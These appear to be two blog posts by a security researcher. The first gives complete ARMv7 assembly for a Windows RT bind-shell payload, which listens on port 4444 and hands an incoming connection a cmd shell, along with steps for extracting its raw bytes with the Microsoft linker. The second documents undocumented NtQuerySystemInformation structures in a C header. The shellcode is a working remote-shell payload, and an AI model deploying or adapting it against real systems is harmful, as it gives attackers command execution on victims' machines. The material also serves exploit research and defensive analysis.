Anyway, seeing as I'm already fairly comfortable writing x86 and x86_64 shellcode, I wanted to take on the challenge of writing ARMv7-based shellcode for Windows since no one else seems to be doing it publicly. Knowing that writing shellcode from scratch would have been rather painful and prone to error, I decided to write my payload in C and then modify the resulting assembly listing slightly in order to achieve a position independent payload. Here is the result (noting that this is merely a working proof-of-concept):

; PoC ARMv7-A Windows RT Bind Shell
; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200)
; Syntax: MASM
; Notes: In order for this to work properly, you have to call this payload
;        at baseaddress + 1 since it is thumb code.
;        This was built with armasm.exe from Visual Studio 2012

; Author: Matthew Graeber (@mattifestation)
; License: BSD 3-Clause

 AREA |.foo|, CODE, THUMB
 ; After linking, the resulting executable will only
 ; have a single section (with RX permissions) named .foo

 EXPORT main

main
 push        {r4,lr}  ; Preserve registers on the stack
 bl          ExecutePayload ; Execute bind shell function
 pop         {r4,pc}  ; Restore registers on the stack and return to caller


GetProcAddress
; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode
 push        {r1-r11,lr}  ; Preserve registers on the stack
 mov         r9,r0  ; Save the function hash in R9
 mrc         p15,#0,r3,c13,c0,#2 ; R3 = &TEB
 ldr         r3,[r3,#0x30] ; R3 = &PEB
 ldr         r3,[r3,#0xC] ; R3 = PEB->Ldr
 movs        r6,#0  ; R6 = 0
 ldr         r1,[r3,#0xC] ; R1 = Ldr->InLoadOrderModuleList
 ldr         r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
 ldr         r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
 ldr         r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
 str         r3,[sp]  ; Store BaseDllName.Length/MaximumLength on the stack
 cbz         r4,exit_failure ; If DllBase == 0, you've likely reached the end of the module list. Return 0.
 mov         r10,#0xD  ; R10 = ROR value (13)
 mov         r11,#0xD  ; R11 = ROR value (13)
get_module_hash     ; Improvement: Need to validate MaximumLength != 0
 ldrh        r5,[sp,#2]  ; BaseDllName.MaximumLength
 movs        r2,#0  ; i = 0
 cbz         r5,get_export_dir ; Reached the last char of BaseDllName
ror_module_char
 ldrsb       r3,[r7,r2]  ; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i)
 rors        r0,r6,r10  ; Calculate the next portion of the module hash
 cmp         r3,#0x61  ; Is the character lower case?
 blt         notlowercase
 adds        r3,r3,r0  ; Add to the running hash value
 subs        r6,r3,#0x20  ; Convert character to upper case
 b           get_next_char
notlowercase
 adds        r6,r3,r0  ; Add to the running hash value
get_next_char
 adds        r2,#1  ; Move to the next character
 cmp         r2,r5  ; Reached the last character in the module name?
 bcc         ror_module_char ; If not, move on to the next character
get_export_dir
 ; At this point, the module hash has been calculated.
 ; Now begin calculating the function hash
 ldr         r3,[r4,#0x3C] ; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS
 adds        r3,r3,r4  ; PIMAGE_NT_HEADERS
 ldr         r3,[r3,#0x78] ; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point)
 cbz         r3,get_next_module ; Move to the next module if it doesn't have an export directory (i.e. most exe files)
 adds        r5,r3,r4  ; Calculate export dir virtual address
 ldr         r3,[r5,#0x20] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames
 ldr         r7,[r5,#0x18] ; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
 movs        r0,#0
 adds        r8,r3,r4  ; AddressOfNames VA
 cbz         r7,get_next_module ; Move on to the next module if there are no exported names
calc_func_hash
 ldr         r3,[r8],#4  ; R3 = Current name RVA
 movs        r2,#0
 adds        lr,r3,r4  ; lr = Current name VA
get_func_char
 ldrsb       r3,[lr]  ; Load char from the function name
 rors        r2,r2,r11  ; Calculate the next portion of the function hash
 adds        r2,r2,r3  ; Add to the running hash value
 ldrsb       r3,[lr],#1  ; Peek at the next char
 cmp         r3,#0  ; Are you at the end of the function string?
 bne         get_func_char ; If not, calculate hash for the next char.
 adds        r3,r2,r6  ; Add the module hash to the function hash
 cmp         r3,r9  ; Does the calulated hash match the hash provided?
 beq         get_func_addr
 adds        r0,#1
 cmp         r0,r7  ; Are there more functions to process?
 bcc         calc_func_hash
get_next_module
 ldr         r1,[r1]  ; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink
 movs        r6,#0  ; Clear the function hash
 ; Improvement: The following portion is redundant
 ldr         r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
 ldr         r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
 ldr         r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
 cmp         r4,#0  ; DllBase == 0?
 str         r3,[sp]  ; Store BaseDllName.Length/MaximumLength on the stack
 bne         get_module_hash
exit_failure
 movs        r0,#0  ; Return 0 upon failure to find a matching hash
exit_success
 pop         {r1-r11,pc}  ; Restore stack and return to caller with the function address in R0
get_func_addr
 ldr         r3,[r5,#0x24] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
 add         r3,r3,r0,lsl #1
 ldrh        r2,[r3,r4]  ; R2 = Ordinal table index
 ldr         r3,[r5,#0x1C] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
 add         r3,r3,r2,lsl #2
 ldr         r3,[r3,r4]  ; Function RVA
 adds        r0,r3,r4  ; R0 = Function VA
 b           exit_success

ExecutePayload
 ; Improvement: None of the calls to GetProcAddress
 ;  validate that a valid address was actually returned
 ; Metasploit shellcode doesn't perform this validation either. :P
 push        {r4-r11,lr}  ; Preserve registers on the stack
 subw        sp,sp,#0x214 ; Allocate soace on the stack for local variables
 movs        r3,#0x44  ; sizeof(_PROCESS_INFORMATION)
 add         r2,sp,#0x38  ; R2 = &StartupInfo
 movs        r1,#0
init_mem1
 ; Improvement: I could just initialize everything on the stack to 0
 strb        r1,[r2],#1  ; Set current byte to 0
 subs        r3,#1
 bne         init_mem1
 movs        r3,#0x10  ; sizeof(_STARTUPINFOW)
 add         r2,sp,#0x28  ; R2 = &ProcessInformation
init_mem2
 strb        r1,[r2],#1  ; Set current byte to 0
 subs        r3,#1
 bne         init_mem2

 ldr         r0,HASH_LoadLibraryA
 bl          GetProcAddress
 mov         r3,r0
 adr         r0,module_name ; &"ws2_32.dll"
 blx         r3   ; LoadLibrary("ws2_32.dll");
 ldr         r0,HASH_WsaStartup
 bl          GetProcAddress
 mov         r4,r0
 ldr         r0,HASH_WsaSocketA
 bl          GetProcAddress
 mov         r5,r0
 ldr         r0,HASH_Bind
 bl          GetProcAddress
 mov         r6,r0
 ldr         r0,HASH_Listen
 bl          GetProcAddress
 mov         r7,r0
 ldr         r0,HASH_Accept
 bl          GetProcAddress
 mov         r8,r0
 ldr         r0,HASH_CloseSocket
 bl          GetProcAddress
 mov         r9,r0
 ldr         r0,HASH_CreateProcess
 bl          GetProcAddress
 mov         r10,r0
 ldr         r0,HASH_WaitForSingleObject
 bl          GetProcAddress
 mov         r11,r0
 mov         r0,#0x0202
 add         r1,sp,#0x80
 blx         r4   ; WSAStartup(MAKEWORD(2, 2), &WSAData);
 movs        r3,#0
 movs        r2,#0
 movs        r1,#1
 movs        r0,#2
 str         r3,[sp,#4]
 str         r3,[sp]
 blx         r5   ; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
 movs        r3,#2  ; service.sin_family = AF_INET;
 strh        r3,[sp,#0x18]
 movs        r3,#0  ; service.sin_addr.s_addr = 0;
 str         r3,[sp,#0x1C]
 mov         r3,#0x5C11  ; service.sin_port = HTONS(4444);
 movs        r2,#0x10
 add         r1,sp,#0x18
 strh        r3,[sp,#0x1A]
 mov         r5,r0  ; WSASocketA returned socket (s)
 blx         r6   ; Bind( s, (SOCKADDR *) &service, sizeof(service) );
 movs        r1,#0
 mov         r0,r5
 blx         r7   ; Listen( s, 0 );
 movs        r2,#0
 movs        r1,#0
 mov         r0,r5
 blx         r8   ; AcceptedSocket = Accept( s, 0, 0 );
 mov         r4,r0
 mov         r0,r5
 blx         r9   ; CloseSocket( s ); Close the original socket
 mov         r3,#0x101  ; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
 str         r3,[sp,#0x64]
 movs        r3,#0x44  ; StartupInfo.cb = 68;
 str         r3,[sp,#0x38]
 add         r3,sp,#0x28
 str         r3,[sp,#0x14]
 add         r3,sp,#0x38
 str         r3,[sp,#0x10]
 movs        r3,#0
 str         r3,[sp,#0xC]
 str         r3,[sp,#8]
 str         r3,[sp,#4]
 movs        r3,#1
 adr         r1,cmdline  ; &"cmd"
 str         r3,[sp]
 movs        r3,#0
 movs        r2,#0
 movs        r0,#0
 str         r4,[sp,#0x78] ; StartupInfo.hStdError = (HANDLE) AcceptedSocket;
 str         r4,[sp,#0x74] ; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
 str         r4,[sp,#0x70] ; StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
 blx         r10   ; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
 ldr         r0,[sp,#0x28]
 mvn         r1,#0
 blx         r11   ; WaitForSingleObject( ProcessInformation.hProcess, INFINITE );
 addw        sp,sp,#0x214
 pop         {r4-r11,pc}

HASH_WaitForSingleObject
 DCD         0x601d8708
HASH_CreateProcess
 DCD         0x863fcc79
HASH_CloseSocket
 DCD         0x614d6e75
HASH_Accept
 DCD         0xe13bec74
HASH_Listen
 DCD         0xff38e9b7
HASH_Bind
 DCD         0x6737dbc2
HASH_WsaSocketA
 DCD         0xe0df0fea
HASH_WsaStartup
 DCD         0x006b8029
HASH_LoadLibraryA
 DCD         0x0726774c

cmdline
 DCB "cmd", 0x0

module_name
 DCB "ws2_32.dll", 0x0


 END

You may have noticed that this shellcode is written in MASM format, therefore, it can only be assembled using armasm.exe (the ARM equivalent of ml.exe). Unfortunately, armasm doesn't provide the option of outputting to a raw bin file. It will only emit an object (.obj) file. I wrote Get-ObjDump with the intent of pulling out raw payload bytes in mind but armasm doesn't apply relocations. This means that any calls to functions present in the payload won't be fixed up and it will crash upon executing.

So rather than writing my own linker, the natural choice was to leverage Microsoft's linker, link.exe. In theory, all I would need to do is call `link bindshell.obj` and pull out the raw bytes from the '.foo' section of the resulting binary. However, I ran into a couple issues in practice:

1. link.exe requires that you specify an entry point.

Solution: Easy. Provide the '/ENTRY:"main"' switch

2. Depending on the subsystem you choose, link.exe requires certain functions in the CRT to be present. For example, the following subsystems require the following entry point functions:

/SUBSYSTEM:CONSOLE - mainCRTStartup
/DLL - _DllMainCRTStartup
/SUBSYSTEM:WINDOWS - WinMainCRTStartup
/SUBSYSTEM:NATIVE - NtProcessStartup

Solution: Obviously, I don't care about the C runtime library in my shellcode. The solution I came up with was to specify EFI_APPLICATION as the subsystem since it doesn't require the CRT. In the end, I don't care about the type of PE file I output. I just need the linker to fix up relocations for me. I can take care of pulling out the bytes from the .foo section of the resulting executable. Fortunately, Get-PEHeader can rip raw bytes from a PE file.

 

Wrapping things up, here is the process of obtaining fully-functioning ARM-based Windows RT shellcode from end to end:

Undocumented NtQuerySystemInformation Structures (Updated for Windows 8)

Those familiar with Windows internals are likely to have used the NtQuerySystemInformation function in ntdll. This function is extremely valuable for getting system information that would otherwise not be made available via the Win32 API. The MSDN documentation only documents a minimal subset of the structures returned by this powerful function, however. To date, one of the best references for the undocumented features of this function has been the “Windows NT/2000 Native API Reference.” Despite being published in 2000, many of the structures documented in this book are still relevant today. In recent history though, Microsoft has quietly expanded the number of functions returned by NtQuerySystemInformation. Thankfully, the vast majority of them have been made public via symbols present in uxtheme.dll (64-bit structures) and combase.dll (32-bit) structures in Windows 8. At last check, it appears as though Microsoft pulled these symbols from the latest versions of the respective dlls.

 

I did my best to document these structures and fill in as many holes as possible in the SystemInformationClass enum. What resulted is the following image – a mapping of SystemInformationClass constants to their respective 32-bit structure and a header file – NtQuerySystemInformation.h. I validated that the header file is properly parsed by IDA (Ctrl+F9). To view the result of what was parsed in IDA, press Shift+F1 (Local Types Subview). The most notable structures are the ones that return pointers. In many cases, these are pointers to kernel memory. >D



enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation=0x0000,
    SystemProcessorInformation=0x0001,
    SystemPerformanceInformation=0x0002,
    SystemTimeOfDayInformation=0x0003,
    SystemPathInformation=0x0004,
    SystemProcessInformation=0x0005,
    SystemCallCountInformation=0x0006,
    SystemDeviceInformation=0x0007,
    SystemProcessorPerformanceInformation=0x0008,
    SystemFlagsInformation=0x0009,
    SystemCallTimeInformation=0x000A,
    SystemModuleInformation=0x000B,
    SystemLocksInformation=0x000C,
    SystemStackTraceInformation=0x000D,
    SystemPagedPoolInformation=0x000E,
    SystemNonPagedPoolInformation=0x000F,
    SystemHandleInformation=0x0010,
    SystemObjectInformation=0x0011,
    SystemPageFileInformation=0x0012,
    SystemVdmInstemulInformation=0x0013,
    SystemVdmBopInformation=0x0014,
    SystemFileCacheInformation=0x0015,
    SystemPoolTagInformation=0x0016,
    SystemInterruptInformation=0x0017,
    SystemDpcBehaviorInformation=0x0018,
    SystemFullMemoryInformation=0x0019,
    SystemLoadGdiDriverInformation=0x001A,
    SystemUnloadGdiDriverInformation=0x001B,
    SystemTimeAdjustmentInformation=0x001C,
    SystemSummaryMemoryInformation=0x001D,
    SystemMirrorMemoryInformation=0x001E,
    SystemPerformanceTraceInformation=0x001F,
    SystemCrashDumpInformation=0x0020,
    SystemExceptionInformation=0x0021,
    SystemCrashDumpStateInformation=0x0022,
    SystemKernelDebuggerInformation=0x0023,
    SystemContextSwitchInformation=0x0024,
    SystemRegistryQuotaInformation=0x0025,
    SystemExtendServiceTableInformation=0x0026,
    SystemPrioritySeperation=0x0027,
    SystemVerifierAddDriverInformation=0x0028,
    SystemVerifierRemoveDriverInformation=0x0029,
    SystemProcessorIdleInformation=0x002A,
    SystemLegacyDriverInformation=0x002B,
    SystemCurrentTimeZoneInformation=0x002C,
    SystemLookasideInformation=0x002D,
    SystemTimeSlipNotification=0x002E,
    SystemSessionCreate=0x002F,
    SystemSessionDetach=0x0030,
    SystemSessionInformation=0x0031,
    SystemRangeStartInformation=0x0032,
    SystemVerifierInformation=0x0033,
    SystemVerifierThunkExtend=0x0034,
    SystemSessionProcessInformation=0x0035,
    SystemLoadGdiDriverInSystemSpace=0x0036,
    SystemNumaProcessorMap=0x0037,
    SystemPrefetcherInformation=0x0038,
    SystemExtendedProcessInformation=0x0039,
    SystemRecommendedSharedDataAlignment=0x003A,
    SystemComPlusPackage=0x003B,
    SystemNumaAvailableMemory=0x003C,
    SystemProcessorPowerInformation=0x003D,
    SystemEmulationBasicInformation=0x003E,
    SystemEmulationProcessorInformation=0x003F,
    SystemExtendedHandleInformation=0x0040,
    SystemLostDelayedWriteInformation=0x0041,
    SystemBigPoolInformation=0x0042,
    SystemSessionPoolTagInformation=0x0043,
    SystemSessionMappedViewInformation=0x0044,
    SystemHotpatchInformation=0x0045,
    SystemObjectSecurityMode=0x0046,
    SystemWatchdogTimerHandler=0x0047,
    SystemWatchdogTimerInformation=0x0048,
    SystemLogicalProcessorInformation=0x0049,
    SystemWow64SharedInformationObsolete=0x004A,
    SystemRegisterFirmwareTableInformationHandler=0x004B,
    SystemFirmwareTableInformation=0x004C,
    SystemModuleInformationEx=0x004D,
    SystemVerifierTriageInformation=0x004E,
    SystemSuperfetchInformation=0x004F,
    SystemMemoryListInformation=0x0050,
    SystemFileCacheInformationEx=0x0051,
    SystemThreadPriorityClientIdInformation=0x0052,
    SystemProcessorIdleCycleTimeInformation=0x0053,
    SystemVerifierCancellationInformation=0x0054,
    SystemProcessorPowerInformationEx=0x0055,
    SystemRefTraceInformation=0x0056,
    SystemSpecialPoolInformation=0x0057,
    SystemProcessIdInformation=0x0058,
    SystemErrorPortInformation=0x0059,
    SystemBootEnvironmentInformation=0x005A,
    SystemHypervisorInformation=0x005B,
    SystemVerifierInformationEx=0x005C,
    SystemTimeZoneInformation=0x005D,
    SystemImageFileExecutionOptionsInformation=0x005E,
    SystemCoverageInformation=0x005F,
    SystemPrefetchPatchInformation=0x0060,
    SystemVerifierFaultsInformation=0x0061,
    SystemSystemPartitionInformation=0x0062,
    SystemSystemDiskInformation=0x0063,
    SystemProcessorPerformanceDistribution=0x0064,
    SystemNumaProximityNodeInformation=0x0065,
    SystemDynamicTimeZoneInformation=0x0066,
    SystemCodeIntegrityInformation=0x0067,
    SystemProcessorMicrocodeUpdateInformation=0x0068,
    SystemProcessorBrandString=0x0069,
    SystemVirtualAddressInformation=0x006A,
    SystemLogicalProcessorAndGroupInformation=0x006B,
    SystemProcessorCycleTimeInformation=0x006C,
    SystemStoreInformation=0x006D,
    SystemRegistryAppendString=0x006E,
    SystemAitSamplingValue=0x006F,
    SystemVhdBootInformation=0x0070,
    SystemCpuQuotaInformation=0x0071,
    SystemNativeBasicInformation=0x0072,
    SystemErrorPortTimeouts=0x0073,
    SystemLowPriorityIoInformation=0x0074,
    SystemBootEntropyInformation=0x0075,
    SystemVerifierCountersInformation=0x0076,
    SystemPagedPoolInformationEx=0x0077,
    SystemSystemPtesInformationEx=0x0078,
    SystemNodeDistanceInformation=0x0079,
    SystemAcpiAuditInformation=0x007A,
    SystemBasicPerformanceInformation=0x007B,
    SystemQueryPerformanceCounterInformation=0x007C,
    SystemSessionBigPoolInformation=0x007D,
    SystemBootGraphicsInformation=0x007E,
    SystemScrubPhysicalMemoryInformation=0x007F,
    SystemBadPageInformation=0x0080,
    SystemProcessorProfileControlArea=0x0081,
    SystemCombinePhysicalMemoryInformation=0x0082,
    SystemEntropyInterruptTimingInformation=0x0083,
    SystemConsoleInformation=0x0084,
    SystemPlatformBinaryInformation=0x0085,
    SystemThrottleNotificationInformation=0x0086,
    SystemHypervisorProcessorCountInformation=0x0087,
    SystemDeviceDataInformation=0x0088,
    SystemDeviceDataEnumerationInformation=0x0089,
    SystemMemoryTopologyInformation=0x008A,
    SystemMemoryChannelInformation=0x008B,
    SystemBootLogoInformation=0x008C,
    SystemProcessorPerformanceInformationEx=0x008D,
    SystemSpare0=0x008E,
    SystemSecureBootPolicyInformation=0x008F,
    SystemPageFileInformationEx=0x0090,
    SystemSecureBootInformation=0x0091,
    SystemEntropyInterruptTimingRawInformation=0x0092,
    SystemPortableWorkspaceEfiLauncherInformation=0x0093,
    SystemFullProcessInformation=0x0094,
    MaxSystemInfoClass=0x0095
};

typedef unsigned short USHORT, *USHORT_PTR;
typedef PVOID HANDLE;

typedef struct _UNICODE_STRING // Size=8
{
    USHORT Length; // Size=2 Offset=0
    USHORT MaximumLength; // Size=2 Offset=2
    USHORT_PTR Buffer; // Size=4 Offset=4
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _LARGE_INTEGER // Size=8
{
    ULONG LowPart; // Size=4 Offset=0
    LONG HighPart; // Size=4 Offset=4
} LARGE_INTEGER;

typedef struct _GENERIC_MAPPING // Size=16
{
    ULONG GenericRead; // Size=4 Offset=0
    ULONG GenericWrite; // Size=4 Offset=4
    ULONG GenericExecute; // Size=4 Offset=8
    ULONG GenericAll; // Size=4 Offset=12
} GENERIC_MAPPING;

struct _SYSTEM_BASIC_INFORMATION // Size=44
{
    ULONG Reserved; // Size=4 Offset=0
    ULONG TimerResolution; // Size=4 Offset=4
    ULONG PageSize; // Size=4 Offset=8
    ULONG NumberOfPhysicalPages; // Size=4 Offset=12
    ULONG LowestPhysicalPageNumber; // Size=4 Offset=16
    ULONG HighestPhysicalPageNumber; // Size=4 Offset=20
    ULONG AllocationGranularity; // Size=4 Offset=24
    ULONG MinimumUserModeAddress; // Size=4 Offset=28
    ULONG MaximumUserModeAddress; // Size=4 Offset=32
    ULONG ActiveProcessorsAffinityMask; // Size=4 Offset=36
    UCHAR NumberOfProcessors; // Size=1 Offset=40
};

struct _SYSTEM_PROCESSOR_INFORMATION // Size=12
{
    USHORT ProcessorArchitecture; // Size=2 Offset=0
    USHORT ProcessorLevel; // Size=2 Offset=2
    USHORT ProcessorRevision; // Size=2 Offset=4
    USHORT MaximumProcessors; // Size=2 Offset=6
    ULONG ProcessorFeatureBits; // Size=4 Offset=8
};

struct _SYSTEM_PERFORMANCE_INFORMATION // Size=344
{
    LARGE_INTEGER IdleProcessTime; // Size=8 Offset=0
    LARGE_INTEGER IoReadTransferCount; // Size=8 Offset=8
    LARGE_INTEGER IoWriteTransferCount; // Size=8 Offset=16
    LARGE_INTEGER IoOtherTransferCount; // Size=8 Offset=24
    ULONG IoReadOperationCount; // Size=4 Offset=32
    ULONG IoWriteOperationCount; // Size=4 Offset=36
    ULONG IoOtherOperationCount; // Size=4 Offset=40
    ULONG AvailablePages; // Size=4 Offset=44
    ULONG CommittedPages; // Size=4 Offset=48
    ULONG CommitLimit; // Size=4 Offset=52
    ULONG PeakCommitment; // Size=4 Offset=56
    ULONG PageFaultCount; // Size=4 Offset=60
    ULONG CopyOnWriteCount; // Size=4 Offset=64
    ULONG TransitionCount; // Size=4 Offset=68
    ULONG CacheTransitionCount; // Size=4 Offset=72
    ULONG DemandZeroCount; // Size=4 Offset=76
    ULONG PageReadCount; // Size=4 Offset=80
    ULONG PageReadIoCount; // Size=4 Offset=84
    ULONG CacheReadCount; // Size=4 Offset=88
    ULONG CacheIoCount; // Size=4 Offset=92
    ULONG DirtyPagesWriteCount; // Size=4 Offset=96
    ULONG DirtyWriteIoCount; // Size=4 Offset=100
    ULONG MappedPagesWriteCount; // Size=4 Offset=104
    ULONG MappedWriteIoCount; // Size=4 Offset=108
    ULONG PagedPoolPages; // Size=4 Offset=112
    ULONG NonPagedPoolPages; // Size=4 Offset=116
    ULONG PagedPoolAllocs; // Size=4 Offset=120
    ULONG PagedPoolFrees; // Size=4 Offset=124
    ULONG NonPagedPoolAllocs; // Size=4 Offset=128
    ULONG NonPagedPoolFrees; // Size=4 Offset=132
    ULONG FreeSystemPtes; // Size=4 Offset=136
    ULONG ResidentSystemCodePage; // Size=4 Offset=140
    ULONG TotalSystemDriverPages; // Size=4 Offset=144
    ULONG TotalSystemCodePages; // Size=4 Offset=148
    ULONG NonPagedPoolLookasideHits; // Size=4 Offset=152
    ULONG PagedPoolLookasideHits; // Size=4 Offset=156
    ULONG AvailablePagedPoolPages; // Size=4 Offset=160
    ULONG ResidentSystemCachePage; // Size=4 Offset=164
    ULONG ResidentPagedPoolPage; // Size=4 Offset=168
    ULONG ResidentSystemDriverPage; // Size=4 Offset=172
    ULONG CcFastReadNoWait; // Size=4 Offset=176
    ULONG CcFastReadWait; // Size=4 Offset=180
    ULONG CcFastReadResourceMiss; // Size=4 Offset=184
    ULONG CcFastReadNotPossible; // Size=4 Offset=188
    ULONG CcFastMdlReadNoWait; // Size=4 Offset=192
    ULONG CcFastMdlReadWait; // Size=4 Offset=196
    ULONG CcFastMdlReadResourceMiss; // Size=4 Offset=200
    ULONG CcFastMdlReadNotPossible; // Size=4 Offset=204
    ULONG CcMapDataNoWait; // Size=4 Offset=208
    ULONG CcMapDataWait; // Size=4 Offset=212
    ULONG CcMapDataNoWaitMiss; // Size=4 Offset=216
    ULONG CcMapDataWaitMiss; // Size=4 Offset=220
    ULONG CcPinMappedDataCount; // Size=4 Offset=224
    ULONG CcPinReadNoWait; // Size=4 Offset=228
    ULONG CcPinReadWait; // Size=4 Offset=232
    ULONG CcPinReadNoWaitMiss; // Size=4 Offset=236
    ULONG CcPinReadWaitMiss; // Size=4 Offset=240
    ULONG CcCopyReadNoWait; // Size=4 Offset=244
    ULONG CcCopyReadWait; // Size=4 Offset=248
    ULONG CcCopyReadNoWaitMiss; // Size=4 Offset=252
    ULONG CcCopyReadWaitMiss; // Size=4 Offset=256
    ULONG CcMdlReadNoWait; // Size=4 Offset=260
    ULONG CcMdlReadWait; // Size=4 Offset=264
    ULONG CcMdlReadNoWaitMiss; // Size=4 Offset=268
    ULONG CcMdlReadWaitMiss; // Size=4 Offset=272
    ULONG CcReadAheadIos; // Size=4 Offset=276
    ULONG CcLazyWriteIos; // Size=4 Offset=280
    ULONG CcLazyWritePages; // Size=4 Offset=284
    ULONG CcDataFlushes; // Size=4 Offset=288
    ULONG CcDataPages; // Size=4 Offset=292
    ULONG ContextSwitches; // Size=4 Offset=296
    ULONG FirstLevelTbFills; // Size=4 Offset=300
    ULONG SecondLevelTbFills; // Size=4 Offset=304
    ULONG SystemCalls; // Size=4 Offset=308
    ULONGLONG CcTotalDirtyPages; // Size=8 Offset=312
    ULONGLONG CcDirtyPageThreshold; // Size=8 Offset=320
    LONGLONG ResidentAvailablePages; // Size=8 Offset=328
    ULONGLONG SharedCommittedPages; // Size=8 Offset=336
};

struct _SYSTEM_TIMEOFDAY_INFORMATION // Size=48
{
    LARGE_INTEGER BootTime; // Size=8 Offset=0
    LARGE_INTEGER CurrentTime; // Size=8 Offset=8
    LARGE_INTEGER TimeZoneBias; // Size=8 Offset=16
    ULONG TimeZoneId; // Size=4 Offset=24
    ULONG Reserved; // Size=4 Offset=28
    ULONGLONG BootTimeBias; // Size=8 Offset=32
    ULONGLONG SleepTimeBias; // Size=8 Offset=40
};

typedef struct _SYSTEM_PROCESS_INFORMATION // Size=184
{
    ULONG NextEntryOffset; // Size=4 Offset=0
    ULONG NumberOfThreads; // Size=4 Offset=4
    LARGE_INTEGER WorkingSetPrivateSize; // Size=8 Offset=8
    ULONG HardFaultCount; // Size=4 Offset=16
    ULONG NumberOfThreadsHighWatermark; // Size=4 Offset=20
    ULONGLONG CycleTime; // Size=8 Offset=24
    LARGE_INTEGER CreateTime; // Size=8 Offset=32
    LARGE_INTEGER UserTime; // Size=8 Offset=40
    LARGE_INTEGER KernelTime; // Size=8 Offset=48
    UNICODE_STRING ImageName; // Size=8 Offset=56
    LONG BasePriority; // Size=4 Offset=64
    PVOID UniqueProcessId; // Size=4 Offset=68
    PVOID InheritedFromUniqueProcessId; // Size=4 Offset=72
    ULONG HandleCount; // Size=4 Offset=76
    ULONG SessionId; // Size=4 Offset=80
    ULONG UniqueProcessKey; // Size=4 Offset=84
    ULONG PeakVirtualSize; // Size=4 Offset=88
    ULONG VirtualSize; // Size=4 Offset=92
    ULONG PageFaultCount; // Size=4 Offset=96
    ULONG PeakWorkingSetSize; // Size=4 Offset=100
    ULONG WorkingSetSize; // Size=4 Offset=104
    ULONG QuotaPeakPagedPoolUsage; // Size=4 Offset=108
    ULONG QuotaPagedPoolUsage; // Size=4 Offset=112
    ULONG QuotaPeakNonPagedPoolUsage; // Size=4 Offset=116
    ULONG QuotaNonPagedPoolUsage; // Size=4 Offset=120
    ULONG PagefileUsage; // Size=4 Offset=124
    ULONG PeakPagefileUsage; // Size=4 Offset=128
    ULONG PrivatePageCount; // Size=4 Offset=132
    LARGE_INTEGER ReadOperationCount; // Size=8 Offset=136
    LARGE_INTEGER WriteOperationCount; // Size=8 Offset=144
    LARGE_INTEGER OtherOperationCount; // Size=8 Offset=152
    LARGE_INTEGER ReadTransferCount; // Size=8 Offset=160
    LARGE_INTEGER WriteTransferCount; // Size=8 Offset=168
    LARGE_INTEGER OtherTransferCount; // Size=8 Offset=176
} SYSTEM_PROCESS_INFORMATION;

struct _SYSTEM_CALL_COUNT_INFORMATION // Size=8
{
    ULONG Length; // Size=4 Offset=0
    ULONG NumberOfTables; // Size=4 Offset=4
};

struct _SYSTEM_DEVICE_INFORMATION // Size=24
{
    ULONG NumberOfDisks; // Size=4 Offset=0
    ULONG NumberOfFloppies; // Size=4 Offset=4
    ULONG NumberOfCdRoms; // Size=4 Offset=8
    ULONG NumberOfTapes; // Size=4 Offset=12
    ULONG NumberOfSerialPorts; // Size=4 Offset=16
    ULONG NumberOfParallelPorts; // Size=4 Offset=20
};

struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION // Size=48
{
    LARGE_INTEGER IdleTime; // Size=8 Offset=0
    LARGE_INTEGER KernelTime; // Size=8 Offset=8
    LARGE_INTEGER UserTime; // Size=8 Offset=16
    LARGE_INTEGER DpcTime; // Size=8 Offset=24
    LARGE_INTEGER InterruptTime; // Size=8 Offset=32
    ULONG InterruptCount; // Size=4 Offset=40
};

typedef enum _SYSTEM_GLOBAL_FLAGS
{
    FLG_DISABLE_DBGPRINT=0x08000000,
    FLG_KERNEL_STACK_TRACE_DB=0x00002000,
    FLG_USER_STACK_TRACE_DB=0x00001000,
    FLG_DEBUG_INITIAL_COMMAND=0x00000004,
    FLG_DEBUG_INITIAL_COMMAND_EX=0x04000000,
    FLG_HEAP_DISABLE_COALESCING=0x00200000,
    FLG_DISABLE_PAGE_KERNEL_STACKS=0x00080000,
    FLG_DISABLE_PROTDLLS=0x80000000,
    FLG_DISABLE_STACK_EXTENSION=0x00010000,
    FLG_CRITSEC_EVENT_CREATION=0x10000000,
    FLG_APPLICATION_VERIFIER=0x00000100,
    FLG_ENABLE_HANDLE_EXCEPTIONS=0x40000000,
    FLG_ENABLE_CLOSE_EXCEPTIONS=0x00400000,
    FLG_ENABLE_CSRDEBUG=0x00020000,
    FLG_ENABLE_EXCEPTION_LOGGING=0x00800000,
    FLG_HEAP_ENABLE_FREE_CHECK=0x00000020,
    FLG_HEAP_VALIDATE_PARAMETERS=0x00000040,
    FLG_HEAP_ENABLE_TAGGING=0x00000800,
    FLG_HEAP_ENABLE_TAG_BY_DLL=0x00008000,
    FLG_HEAP_ENABLE_TAIL_CHECK=0x00000010,
    FLG_HEAP_VALIDATE_ALL=0x00000080,
    FLG_ENABLE_KDEBUG_SYMBOL_LOAD=0x00040000,
